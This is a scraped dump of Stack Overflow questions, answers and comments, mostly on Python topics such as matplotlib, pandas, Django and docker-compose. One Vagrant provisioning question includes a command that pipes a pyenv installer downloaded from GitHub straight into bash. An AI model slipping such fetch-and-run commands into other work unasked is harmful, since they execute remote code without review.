has body: Regarding the question about visualisation of label images. You do not need your own colour-map with imshow. You can use the cmap keyword argument to imshow, and choose a qualitative colour-map. More reading: https://matplotlib.org/users/colormaps.html https://matplotlib.org/users/image_tutorial.html Example: plt.imshow(img2, cmap="Set1", interpolation="nearest")
type: Answer
answers question: http://stackoverflow.com/q/47315437
score: 0

http://stackoverflow.com/comment/81491498
type: AnswerComment
comment on: http://stackoverflow.com/a/47269988
score: 0
has text: Note though that without the if statement, you are not actually checking if the input is according to specifications. 'ABC' would be the same as 'A-C'. If this is "the best" is I guess highly project specific ;).
type: Comment

http://stackoverflow.com/comment/81524233
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47286839
type: QuestionComment
has text: Then delete those things from your code or change to `from PyQt5.QtMultimedia import *`

http://stackoverflow.com/comment/81564142
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47306526
has text: isn't it weird ?. It should simply say "Memory Error", right ?. Moreover, I got 128GB of RAM with 2GB swap.
score: 0

http://stackoverflow.com/comment/81418812
has text: oh yeah.. I guess it's not an error.. better change my words..
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47234122
score: 0

http://stackoverflow.com/comment/81720878
has text: input is a builtin function, you should avoid using it as a variable name
score: 0
comment on: http://stackoverflow.com/a/47247774
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81485325
type: QuestionComment
comment on: http://stackoverflow.com/q/47264597
has text: @VivekKumar If I'm using also random search for hyperparameter optimization, then using both predict_proba and predict would lead to a computational overhead because random search uses cross-validation. So I would have a random search for predict_proba and predict.
score: 0
type: Comment

http://stackoverflow.com/comment/111314468
score: 0
type: AnswerComment
has text: After loading the saved model (weights) how can i predict unseen data? can someone provide any sample code for predicting with siamese nets?
comment on: http://stackoverflow.com/a/62087166
type: Comment

http://stackoverflow.com/comment/81616612
comment on: http://stackoverflow.com/a/47332735
type: Comment
has text: I take your answer because obviously it solves my question, thanks. However, I wanted to avoid that solution because I have a more complex grid so I will have to rewrite the rest of my code to fit that new column. I'm surprised that we can't handle the size of the plot area inside the subplot and "push" it to the limits of the subplot. Or are the labels "outside" of the subplot? I am not sure I visualise these "boxes" correctly.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81402951
type: Comment
comment on: http://stackoverflow.com/q/47226373
score: 1
type: QuestionComment
has text: Welcome to StackOverflow! I would suggest adding the code that you already have and show us where your error/road-block is. Questions that are answered in the: Here is my Code, Here is my Problem, Here is what I've Tried - are much more accepted. Try and edit your post to help us, help you

http://stackoverflow.com/comment/81599828
has text: Sometimes comments are not copy well, so I add it to answer. Or problem is in your data?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47324181
score: 0

http://stackoverflow.com/a/47333745
has body: You now treat a zipped archive (that can contain many files) as a file containing your actual data. Let us assume your zip contains only one file that then contains the actual JSON data. This would work: import zipfile import io import urllib import json access_url = urllib.request.urlopen('http://api.eia.gov/bulk/COAL.zip') z = zipfile.ZipFile(io.BytesIO(access_url.read())) data = json.loads(z.read(z.infolist()[0]).decode()) print(data) Or something like that. I was not actually able to test on live data but give it a go. It basically unzips the first file it finds in your archive and then treats this as json.
score: 5
upvote count: 5
type: Answer
answers question: http://stackoverflow.com/q/47333267
downvote count: 0

http://stackoverflow.com/a/47335846
answers question: http://stackoverflow.com/q/47335802
has body: You're confusing values with indexes. In Python, the for x in ... syntax returns each of the elements in an iterable object, not the indexes. Try this instead: for t in survTime: for a in age: if t &gt; 365 and a &lt; 50: # and so on Notice that you intended to iterate over the values of each array, but in reality you're using each item as an index, which is way out of bounds - for instance: survTime doesn't have 400 elements! For completeness' sake: if you really needed the indexes, the way to traverse a list called lst would be: for i in range(len(lst)): ele = lst[i] # do something with the element
score: 5
accepted answer of: http://stackoverflow.com/q/47335802
upvote count: 5
type: Answer
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81626486
has text: but this don't fix the error
score: 0
comment on: http://stackoverflow.com/q/47337285
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81627072
type: Comment
type: QuestionComment
has text: Ah, alright. Apologies.
comment on: http://stackoverflow.com/q/47337328
score: 0

http://stackoverflow.com/a/47381196
type: Answer
accepted answer of: http://stackoverflow.com/q/47381136
score: 3
upvote count: 3
has body: This seems overcomplex &amp; broken. One big issue is the indentation inside your loop. Well, scratch that and write the function as follows using any: def contains_odd_number(number_list): return any(x % 2 for x in number_list) that's way more pythonic &amp; performant. any stops as soon as an odd number is found in the list.
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81714769
has comment: http://stackoverflow.com/comment/81714788
answers question: http://stackoverflow.com/q/47381136
has comment: http://stackoverflow.com/comment/81714796
downvote count: 0

http://stackoverflow.com/q/47296428
tagged with: vagrant
downvote count: 0
tagged with: pyenv
answer count: 1
has comment: http://stackoverflow.com/comment/81545287
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81545959
accepted answer: http://stackoverflow.com/a/47310308
tagged with: vagrant-provision
has title: Install PyEnv in Vagrantfile
tagged with: python
tagged with: vagrantfile
has body: PyEnv does not have a great installer, and it requires some post-install processing to get it to work correctly (such as modifying .bashrc to add to $PATH and make two pyenv calls). I'm wondering how anyone has been able to get PyEnv installed via Vagrantfile. I want to build a reusable image to develop on so that I don't have to go through the reinstall process if I destroy this VM. I've tried running the installer and making the recommended edits to .bashrc to get pyenv working, but when I get into my Vagrant box pyenv is not installed. I've tried moving the pyenv script into /bin/pyenv but it is not there when the machine comes up. How do I make this work? For reference, here is the script I'm currently running that fails to install PyEnv to a Vagrant machine during a Vagrant provision step in the Vagrantfile: #! /usr/bin/env bash # REQUIRES: curl, git curl -L https://raw.githubusercontent.com/pyenv/pyenv- installer/master/bin/pyenv-installer | bash cat &gt;&gt; /home/ubuntu/.bashrc &lt;&lt; 'EOF' export PATH="$PATH:~/.pyenv/bin" eval "$(pyenv init -)" eval "$(pyenv virtualenv-init -)" EOF exec $SHELL And trying to move pyenv under /bin: #! /usr/bin/env bash # REQUIRES: curl, git curl -L https://raw.githubusercontent.com/pyenv/pyenv-installer/master/bin/pyenv-installer | bash mv ~/.pyenv/bin/pyenv /bin/pyenv cat &gt;&gt; /home/ubuntu/.bashrc &lt;&lt; 'EOF' eval "$(pyenv init -)" eval "$(pyenv virtualenv-init -)" EOF exec $SHELL Neither work. How do I get this installed?
has answer: http://stackoverflow.com/a/47310308
upvote count: 2
type: AnsweredQuestion
score: 2

http://stackoverflow.com/a/70511047
score: 0
has body: I like @clément-denoix answer, but would tweak it a bit. Instead of reloading TokenHasScope.has_permission I would suggest to redefine TokenHasScope.get_scopes as it is smaller method and perfectly fit for what you need. Also original has_permission method has additional logic that I prefer to preserve. Something like this should do the trick: from django.core.exceptions import ImproperlyConfigured from oauth2_provider.contrib.rest_framework import TokenHasScope class TokenHasScopeForMethod(TokenHasScope): def get_scopes(self, request, view): try: scopes = getattr(view, "required_scopes_per_method") return scopes[request.method] except (AttributeError, KeyError): raise ImproperlyConfigured( "TokenHasScope requires the view to define the required_scopes_per_method attribute" )
type: Answer
answers question: http://stackoverflow.com/q/47307998

http://stackoverflow.com/q/47317212
type: Question
has answer: http://stackoverflow.com/a/47318017
has title: Pygame Error: Unsupported Image Format
has body: Hi I'm trying to follow these instructions from my last question: Pygame: how to load 150 images and present each one for only .5sec per trial This is the code I currently have and I'm unsure where I'm going wrong. import pygame, glob pygame.init() pygame.mixer.init() clock=pygame.time.Clock() #### Set up window window=pygame.display.set_mode((0,0),pygame.FULLSCREEN) centre=window.get_rect().center pygame.mouse.set_visible(False) #colours black = (0, 0, 0) white = (255, 255, 255) types= '*.tif' artfile_names= [] for files in types: artfile_names.extend(glob.glob(files)) image_list = [] for artwork in artfile_names: image_list.append(pygame.image.load(artwork).convert()) ##Randomizing index=0 current_image = image_list[index] if image_list[index]&gt;= 150: index=0 stimulus= pygame.image.load('image_list') soundPlay=True def artwork(): window.blit(stimulus,pygame.FULLSCREEN) while not soundPlay: for imageEvent in pygame.event.get(): artwork() pygame.display.update() clock.tick()
accepted answer: http://stackoverflow.com/a/47322369
linked to: http://stackoverflow.com/q/47234156
has answer: http://stackoverflow.com/a/47322369
tagged with: python
tagged with: pygame
tagged with: pygame-surface
possible better answer: http://stackoverflow.com/a/47318017
type: AnsweredQuestion
answer count: 2
downvote count: 0
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/47244198
favorite count: 0

http://stackoverflow.com/q/47333399
has answer: http://stackoverflow.com/a/47333672
score: 1
has title: Looping through csv file to create smaller file for action, loop not activating
has comment: http://stackoverflow.com/comment/81618103
downvote count: 0
tagged with: file-writing
tagged with: loops
upvote count: 1
has answer: http://stackoverflow.com/a/47333520
favorite count: 0
type: Question
has body: The following code is meant to loop through a large csv file, take a block of 20 observations at a time, and load them into a smaller file, which will than be used for geocoding. Loop does not seem to be running, and have run out of ideas why (nothing past the first row_count gets printed, except end) SalesLoad = open('C:\Users\DillonSaxe\Real Estate\Chi address 2000-2015.csv') Sales = csv.reader(SalesLoad) Storage = [] row_count = sum(1 for row in Sales) print row_count for row in Sales: if Sales.line_num == 1: Header = row print header elif Sales.line_num%20 != 0 and Sales.line_num != row_count: Storage.append(row) else: Storage.append(row) print row TempLoad = open('C:\Users\DillonSaxe\Real Estate\Temp Geocode File.csv', 'wb') TempGeocode = csv.writer(TempLoad) TempGeocode.writerow(Header) for item in Storage: TempGeocode.writerow(item) TempLoad.close() SalesLoad.close() print 'Done'
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
tagged with: loading
has comment: http://stackoverflow.com/comment/81618200
answer count: 2
has comment: http://stackoverflow.com/comment/81618152

http://stackoverflow.com/a/47352552
has body: You are trying to concatenate strings on the following line but you are not. try the following code instead. listExpenseAmounts.append(input('How much was spent on'+ listExpenseNames[int(loopExpenseAmounts)]'?'))
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47352463
type: Answer

http://stackoverflow.com/q/47223782
answer count: 2
has comment: http://stackoverflow.com/comment/81397483
has answer: http://stackoverflow.com/a/47224003
has comment: http://stackoverflow.com/comment/81397474
type: Question
has body: I've been trying my hand at some data visualization with Python and Matplot. In this case I'm trying to visualize the amount of data missing per column. I ran a short script to find all the missing values per column and the result in the array missing_count. I now would like to show this in a bar chart using Matplot but I've run into this issue: import matplotlib.pyplot as plt import numpy as np missing_count = np.array([33597, 0, 0, 0, 0, 0, 0, 12349, 0, 0, 12349, 0, 0, 0, 115946, 47696, 44069, 81604, 5416, 5416, 5416, 5416, 0, 73641, 74331, 187204, 128829, 184118, 116441, 183093, 153048, 187349, 89918, 89918, 89918, 89918, 89918, 89918, 51096, 51096, 51096, 51096, 51096, 51096, 51096, 51096, 51096, 51096]) n = len(missing_count) index = np.arange(n) fig, ax = plt.subplots() r1 = ax.bar(index, n, 0.15, missing_count, color='r') ax.set_ylabel('NULL values') ax.set_title('Amount of NULL values per colum') ax.set_xticks(index + width / 2) ax.set_xticklabels(list(originalData.columns.values)) plt.show() Resulting in this error: ValueError Traceback (most recent call last) &lt;ipython-input-34-285ca1e9de68&gt; in &lt;module&gt;() 10 fig, ax = plt.subplots() 11 ---&gt; 12 r1 = ax.bar(index, n, 0.15, missing_count, color='r') 13 14 ax.set_ylabel('NULL values') C:\Users\Martien\Anaconda3\lib\site-packages\matplotlib\__init__.py in inner(ax, *args, **kwargs) 1895 warnings.warn(msg % (label_namer, func.__name__), 1896 RuntimeWarning, stacklevel=2) -&gt; 1897 return func(ax, *args, **kwargs) 1898 pre_doc = inner.__doc__ 1899 if pre_doc is None: C:\Users\Martien\Anaconda3\lib\site-packages\matplotlib\axes\_axes.py in bar(self, left, height, width, bottom, **kwargs) 2077 if len(height) != nbars: 2078 raise ValueError("incompatible sizes: argument 'height' " -&gt; 2079 "must be length %d or scalar" % nbars) 2080 if len(width) != nbars: 2081 raise ValueError("incompatible sizes: argument 'width' " ValueError: incompatible sizes: argument 'height' must be length 48 or scalar I've …
tagged with: matplotlib
possible better answer: http://stackoverflow.com/a/47224003
has title: Matplot data visualization - height argument must be scalar
accepted answer: http://stackoverflow.com/a/47224000
tagged with: python
has answer: http://stackoverflow.com/a/47224000
has comment: http://stackoverflow.com/comment/81397611
has comment: http://stackoverflow.com/comment/81397670
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/81436043
score: 0
comment on: http://stackoverflow.com/q/47242677
has text: it worked thank you
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47254812
type: Answer
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81469506
score: 1
answers question: http://stackoverflow.com/q/47254563
has comment: http://stackoverflow.com/comment/81461461
has body: I will interpret your question in a more specific way: How do I quit using index variables? How do I start writing list comprehensions instead of normal loops"? To quit using index variables, the key is to understand that "for" in Python is not the "for" of other languagues. It should be called "for each". for x in small_array: for y in big_array: if x == y: print "This item is matched: ", x That's much better. I also find myself in situations where I would write code with normal loops (or actually do it) and then start wondering whether it would be clearer and more elegant with a list comprehension. List comprehensions are really a domain-specific language to create lists, so the first step would be to learn its basics. A typical statement would be: l = [f(x) for x in list_expression if g(x)] Meaning "give me a list of f(x), for all x out of list_expression that meet condition g" So you could write it in this way: matched = [x for x in small_array if x in big_array] Et voilà, you are on the road to pythonic style!

http://stackoverflow.com/comment/81539019
type: Comment
score: 0
type: QuestionComment
has text: Note wrt to using `shelve`, you can control how much ram it uses for its cache by calling `Shelf.sync()` periodically to flush it since that empties the cache (as described [here](https://docs.python.org/3/library/shelve.html#shelve.Shelf.sync).
comment on: http://stackoverflow.com/q/47293793

http://stackoverflow.com/comment/81630861
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47339285
score: 1
has text: I think he's looking for some function `foo` such that `foo("{x}")` returns `f"{x}"`

http://stackoverflow.com/comment/81506092
type: Comment
comment on: http://stackoverflow.com/q/47276299
score: 0
type: QuestionComment
has text: Specifically: https://github.com/python/cpython/blob/3dd1ccb/Objects/typeobject.c#L742

http://stackoverflow.com/a/47359116
score: 5
upvote count: 5
downvote count: 0
type: AcceptedAnswer
has body: In [97]: df.eq(df.iloc[:, 0], axis=0).all(1) Out[97]: 0 True 1 False 2 False dtype: bool
accepted answer of: http://stackoverflow.com/q/47359076
answers question: http://stackoverflow.com/q/47359076
type: Answer

http://stackoverflow.com/comment/81568721
score: 0
comment on: http://stackoverflow.com/q/47309094
type: QuestionComment
type: Comment
has text: @Kris same error. See above

http://stackoverflow.com/q/47269573
tagged with: python-2.7
tagged with: rds
score: 0
answer count: 0
upvote count: 1
tagged with: python-db-api
has comment: http://stackoverflow.com/comment/81547455
downvote count: 1
favorite count: 0
type: Question
has title: how to pass a parameter to a sql script from python
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81506016
has comment: http://stackoverflow.com/comment/81545118
has body: I am trying to pass the parameter to the SQL script from python. below is the script I am trying; please let me know what I am doing wrong here... #!./bin/python _author_='Mohammed' import boto3 import cx_Oracle import sys con = cx_Oracle.connect('username/password@localhost:1521/DBName') print con.version cur=con.cursor() statements = open('$location/test.sql').read().format('localhost') cur.execute(statements) query_result=cur.fetchall() for res in query_result: print(res) ************Error*********** Traceback (most recent call last): File "$location\test1.py", line 19, in &lt;module&gt; statements = open('$location/test.sql').read().format('localhost') IndexError: tuple index out of range

http://stackoverflow.com/a/47269337
has comment: http://stackoverflow.com/comment/81492103
has comment: http://stackoverflow.com/comment/81490297
has comment: http://stackoverflow.com/comment/81489951
type: Answer
has body: The code should work and looks more like a problem with a browser. Try resetting browser settings to default. It the problem persists, first check debug log in console and make sure that after login attempt the response status code is 200. 127.0.0.1 - - [13/Nov/2017 17:33:10] "GET /pass HTTP/1.1" 200 Print out request.authorization before and after checking authorization to see what is passed: def index(): print(request.authorization) if request.authorization and request.authorization.username == 'a' and request.authorization.password == 'a': print(request.authorization) return 'logged in' else: return make_response('Could not verify!', 401, {'WWW-Authenticate' : 'Basic realm=Login required'}) First print should be None and after authorization second print should be a dictionary with a username and a password: {'username': 'a', 'password': 'a'} After successful authorization, both should return a dictionary with username and password.
answers question: http://stackoverflow.com/q/47267685
score: 0
has comment: http://stackoverflow.com/comment/81490718

http://stackoverflow.com/q/47334964
downvote count: 0
tagged with: django
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81621364
has answer: http://stackoverflow.com/a/47335031
tagged with: python
accepted answer: http://stackoverflow.com/a/47335031
has body: i'm trying to create a registration form with following information (firstname, lastname, email, password, password_confirm), however i do not get firstname and lastname. so far i only get username, password and password confirmation. what am i doing wrong in order to add the missing fields? forms.py class SignUpForm(UserCreationForm): first_name = forms.CharField(max_length=30, required=False, label='Fornavn', help_text='Optional.') last_name = forms.CharField(max_length=30, required=False, label='Efternavn', help_text='Optional.') email = forms.EmailField(max_length=254, label='Email', help_text='Required. Inform a valid email address.') class Meta: model = User fields = ('username', 'first_name', 'last_name', 'email') register.html {% for field in form %} &lt;div class="form-group"&gt; &lt;label&gt;{{ field.label }}&lt;/label&gt; {% render_field field class="form-control" placeholder=field.help_text %} &lt;/div&gt; {% endfor %} views.py def register(request): if request.user.is_authenticated(): return redirect('/account/') context = {} if request.method == "POST": form = SignUpForm(request.POST) if form.is_valid(): form.save() username = form.cleaned_data.get('username') raw_password = form.cleaned_data.get('password1') user = authenticate(username=username, password=raw_password) login(request, user) return redirect('/account/') else: form = UserCreationForm() return render(request, 'register.html', {'form': form}) urls urlpatterns = [ url(r'^$', views.index, name='index'), url(r'^register/$', views.register, name='register') ]
has title: firstname and lastname not showing in django form
type: Question
score: 2
upvote count: 2
answer count: 1

http://stackoverflow.com/comment/81603967
comment on: http://stackoverflow.com/a/47326539
type: AnswerComment
has text: I don't understand. Show the contents of that SQL file and the full code you're using to read it.
score: 0
type: Comment

watson-nlu
type: Tag
tag name: watson-nlu
tags question: http://stackoverflow.com/q/47335778

http://stackoverflow.com/a/74984277
answers question: http://stackoverflow.com/q/47287721
upvote count: 2
type: Answer
downvote count: 1
has body: The solution that worked for me: remove "execute" permission from all the *.py files in the scope of the run.
score: 1

file-handling
tags question: http://stackoverflow.com/q/47322104
type: Tag
tag name: file-handling

http://stackoverflow.com/comment/81573813
type: QuestionComment
has text: Not sure what signal 9 on Osx means (Under *nix it is a SIGKILL). But your code will run for a VERY, VERY long time. Your for loop will execute about 300 billion loops.
comment on: http://stackoverflow.com/q/47311097
score: 0
type: Comment

http://stackoverflow.com/q/47365606
tagged with: multithreading
has title: Can't fly my AR Drone autonomously using Libardrone Python
tagged with: ar.drone
favorite count: 0
tagged with: multiprocessing
type: Question
type: UnansweredQuestion
tagged with: python
has body: I really need you help in this issue. I'm trying to use libardrone.py to fly my AR Drone autonomously. Here is my code: import libardrone from time import sleep drone = libardrone.ARDrone() drone.takeoff() sleep(7) drone.land() sleep(3) drone.halt() However, my drone will keep hovering after takeoff and it will never try to land. I got the following error: (I'm using windows 8) Reloaded modules: arnetwork, libardrone, arvideo Please install psyco for better video decoding performance. Unable to bind video decoding methods with psyco. Proceeding anyways, but video decoding will be slow! Exception in thread Thread-28: Traceback (most recent call last): File "C:\Users\Mariam\Anaconda3\envs\python27\lib\threading.py", line 801, in __bootstrap_inner self.run() File "arnetwork.py", line 105, in run inputready, outputready, exceptready = select.select([self.drone.video_pipe, self.drone.nav_pipe], [], [], 1) error: (10038, 'An operation was attempted on something that is not a socket') is there any updated libardrone??
tagged with: python-2.7
downvote count: 0
answer count: 0
score: 1
upvote count: 1

http://stackoverflow.com/q/47271130
has comment: http://stackoverflow.com/comment/81493142
type: Question
answer count: 2
has body: why won't it return the answer? x=[1,2,3] y=[2,4,6] xy = [] def mult_list(xy): for i in range(0, len(x)): xy.append(x[i]*y[i]) return xy
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/81493170
upvote count: 1
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/47271210
has answer: http://stackoverflow.com/a/47271228
has title: Python Multiplication list
score: -1
has comment: http://stackoverflow.com/comment/81493188

http://stackoverflow.com/q/47343392
score: 0
answer count: 2
has body: In my serializers.py I have a OrderCreateSerializer: class OrderCreateSerializer(ModelSerializer): data_params = serializers.DictField() # 根据产品数据模型不同而异 class Meta: model = Order fields = ( "product_describe", # 产品描述 (购买xx产品 + 参数) "billing_type", # 计费类型 ("包年包月") "data_params", # 数据 ) def create(self, validated_data): request = self.context.get("request") if request and hasattr(request, "user"): user = request.user validated_data["order_num"] = generateOrderNum(userid=user.id) validated_data["order_status"] = "未支付" validated_data["order_status"] = "未支付" data_dic = validated_data.pop("data_params") # # data_dic["data"]["profile"] validated_data["buytime"] = data_dic["data"]["buytime"] validated_data["count"] = data_dic["data"]["count"] validated_data["paytype"] = "" validated_data["cost"] = "" validated_data["account"] = user.account return Order.objects.save(**validated_data) # this is the line 57 When I save the validated_data, it report the bellow error: Manager object has no attribute 'save' My Order model is like bellow, there is many fields in it : class Order(models.Model): """ 订单 """ order_num = models.CharField(max_length=128, unique=True) # 订单编号 order_status = models.CharField(max_length=12) # 订单状态 "未支付"， "已支付，未完成"， "已完成"， "已经删除"，"其他" product_describe = models.TextField() # 产品描述 billing_type = models.CharField(max_length=16) # 计费类型 buytime = models.CharField(max_length=16) # 比如：1月 永久 count = models.IntegerField() # 购买数量 paytype = models.CharField(max_length=16) # 支付方式（支付包，微信，xxx） cost = models.DecimalField(max_digits=8, decimal_places=2, default=0.00) # 费用（需要花费多少钱） account = models.ForeignKey(to=Account) # 所属账户 ctime = models.DateTimeField(auto_now_add=True) # 创建时间 uptime = models.DateTimeField(auto_now=True) # 更新时间 def __str__(self): return self.product_describe def __unicode__(self): return self.product_describe I don't know why there is the Manager object here.
tagged with: django
has title: Manager object has no attribute 'save'
tagged with: django-rest-framework
type: Question
has answer: http://stackoverflow.com/a/47343465
accepted answer: http://stackoverflow.com/a/47343475
tagged with: python
has answer: http://stackoverflow.com/a/47343475
possible better answer: http://stackoverflow.com/a/47343465
type: AnsweredQuestion

http://stackoverflow.com/a/47247177
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47247134
has body: You are not .append(..)ing the contents of old but a reference of old - use .copy() or .deepcopy() on old - then you have two distinct values that do not reference the same object. Essentially new and old in your 1st usage point to the same data, in your second example they point to different data. See How to clone or copy a list?

http://stackoverflow.com/q/47247845
score: 1
has title: How to create dataframe only with comparison of columns in pandas where the result did not match?
answer count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47247864
downvote count: 0
upvote count: 1
tagged with: python
type: AnsweredQuestion
has body: I have this dataframe deputados_sites: deputados_sites.info() &lt;class 'pandas.core.frame.DataFrame'&gt; RangeIndex: 512 entries, 0 to 511 Data columns (total 3 columns): Nome 512 non-null object Num_referencia 512 non-null object Link 512 non-null object dtypes: object(3) memory usage: 12.1+ KB And another eleitos_d: eleitos_d.info() &lt;class 'pandas.core.frame.DataFrame'&gt; Int64Index: 513 entries, 23 to 26219 Data columns (total 7 columns): Estado 513 non-null object Cargo 513 non-null object Nome_candidato 513 non-null object CPF 513 non-null int64 Nome_urna 513 non-null object Partido 513 non-null object Situacao 513 non-null object dtypes: int64(1), object(6) memory usage: 32.1+ KB I made a merge of the dataframes with the names: sites_eleitos = pd.merge(deputados_sites, eleitos_d, left_on='Nome', right_on='Nome_urna') sites_eleitos.info() &lt;class 'pandas.core.frame.DataFrame'&gt; Int64Index: 341 entries, 0 to 340 Data columns (total 10 columns): Nome 341 non-null object Num_referencia 341 non-null object Link 341 non-null object Estado 341 non-null object Cargo 341 non-null object Nome_candidato 341 non-null object CPF 341 non-null int64 Nome_urna 341 non-null object Partido 341 non-null object Situacao 341 non-null object dtypes: int64(1), object(9) memory usage: 29.3+ KB But I also want to create a dataframe with what was not found. The "Nome" columns in deputados_sites that were not found in the "Nome_urna" columns in eleitos_d Show content on deputados_sites that was found on eleitos_d. I'm using. Python3 and pandas Please, does anyone know a command to do this?
tagged with: pandas
has answer: http://stackoverflow.com/a/47247864

http://stackoverflow.com/q/47355260
accepted answer: http://stackoverflow.com/a/47355435
has comment: http://stackoverflow.com/comment/81663434
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81663801
has answer: http://stackoverflow.com/a/47355435
answer count: 3
has body: I'm sorry if the title is confusing. Here's a better explanation: So basically what I need to do is iterate through every number in list and print the biggest number west (list[0:i]) and the biggest number east. If the biggest number is smaller than i, we print i. So for list [1, 3, 2, 4, 3] the output should be: 1 4 3 4 3 4 4 4 4 3 I thought my code was correct but it doesn't work for the last number in list, is anyone able to help? 'a' is the list in my code a = [1, 3, 2, 4, 3] for i in a: west = a[0:i] east = a[i:int(len(a))] if max(west) &gt; i: print(max(west)) else: print(i) if max(east) &gt; i: print(max(east)) else: print(i)
possible better answer: http://stackoverflow.com/a/47355574
score: -1
favorite count: 0
type: Question
has title: Looking for the biggest number before and after 'i' in list
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47355574
has comment: http://stackoverflow.com/comment/81663519
has comment: http://stackoverflow.com/comment/81663701
has comment: http://stackoverflow.com/comment/81663245
has answer: http://stackoverflow.com/a/47355686
upvote count: 0
tagged with: python
downvote count: 1

http://stackoverflow.com/a/47323594
has body: Simply p1.split('=')[-1] in folder_keys This matches the whole string if there is no equation mark, so you might want to check that first with '=' in p1 edit: Given input dirs = ['0001=d5', '0002=alpha9'] my code: for p1 in dirs: print(p1.split('=')[-1]) gives output: d5 alpha9 Which is what you asked for originally. I won't help you debug your script.
downvote count: 0
has comment: http://stackoverflow.com/comment/81597947
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81598349
has comment: http://stackoverflow.com/comment/81598685
has comment: http://stackoverflow.com/comment/81598051
accepted answer of: http://stackoverflow.com/q/47323235
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47323235
has comment: http://stackoverflow.com/comment/81598535
has comment: http://stackoverflow.com/comment/81598638
has comment: http://stackoverflow.com/comment/81598947

http://stackoverflow.com/comment/81629823
type: Comment
comment on: http://stackoverflow.com/a/47338273
score: 0
type: AnswerComment
has text: I have to pass the output i am getting to an API call as a JSON object. So would I need to do `json.loads(q)` for that right?

http://stackoverflow.com/comment/81583428
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47316103
has text: Hey man, I appreciate it. This is a good starter for me. How did you come up with rest of the items in the link? When I select cols and stuff it doesn't show anything.The link still stays the same. Is there a way to show the full path in the browser, which is by default set to not showing so that it looks prettier?

http://stackoverflow.com/a/47273294
has comment: http://stackoverflow.com/comment/115922249
has comment: http://stackoverflow.com/comment/81502901
type: Answer
score: 42
upvote count: 43
accepted answer of: http://stackoverflow.com/q/47272072
answers question: http://stackoverflow.com/q/47272072
type: AcceptedAnswer
downvote count: 1
has body: When you use docker-compose, you aren't going to be using localhost for inter-container communication, you would be using the compose-assigned hostname of the container. In this case, the hostname of your redis container is redis. The top level elements under services: are your default host names. So for celery to connect to redis, you should try redis://redis:6379/0. Since the protocol and the service name are the same, I'll elaborate a little more: if you named your redis service "butter-pecan-redis" in your docker-compose, you would instead use redis://butter-pecan-redis:6379/0. Also, docker-compose.dev.yml doesn't appear to have celery and redis on a common network, which might cause them not to be able to see each other. I believe they need to share at least one network in common to be able to resolve their respective host names. Networking in docker-compose has an example in the first handful of paragraphs, with a docker-compose.yml to look at.
has comment: http://stackoverflow.com/comment/115988596
has comment: http://stackoverflow.com/comment/119009313

http://stackoverflow.com/comment/81469645
has text: Change `print("---", flavour())` to `print("---", flavour)`. A string is not a function and cannot be called as one.
type: AnswerComment
comment on: http://stackoverflow.com/a/47255008
score: 0
type: Comment

http://stackoverflow.com/comment/81613051
has text: I've found out this was indeed namespace problem. Thanks!
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47331142
type: Comment

http://stackoverflow.com/q/47354484
has title: Linux Python multiple command-line beeps
favorite count: 0
type: Question
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81661545
has body: I want my script to output audible beeps in response to certain events (EG- A happens, beep once; B happens, beep twice; C happens, beeps 3 times; etc.). No matter how I write the code the script only beeps once. I've tried: print('\a\a\a') #only beeps once print('\a') print('\a') #only beeps once os.system('\a\a\a') #only beeps once os.system('\a') os.system('\a') #only beeps once Note: I had been successfully using aplay and .wav files to generate the beeps but I want to run this script on PythonAnywhere and aplay is not an option.
has comment: http://stackoverflow.com/comment/81661561
tagged with: linux
score: 1
has comment: http://stackoverflow.com/comment/81664058

http://stackoverflow.com/comment/81573304
has text: Welcome to SO @FLYGuy, if the answer helped - Please mark it as correct and consider an upvote. Thanks!
score: 0
comment on: http://stackoverflow.com/q/47310850
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81405205
type: AnswerComment
comment on: http://stackoverflow.com/a/47226929
score: 0
type: Comment
has text: hey thanks! , it seems to work but the live data contains a lot of blank row/value pairs other then that seems great!

http://stackoverflow.com/comment/81693598
has text: If I put the return result line back where you had it, then I get the MemoryError. I was trying to move things around to see if I could get it to work. I also added the result variable inside of the functions arguments cause I don't see how I can pass it into the recursion otherwise. Is there another way of doing this?
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47275326

http://stackoverflow.com/q/47351711
has comment: http://stackoverflow.com/comment/81661611
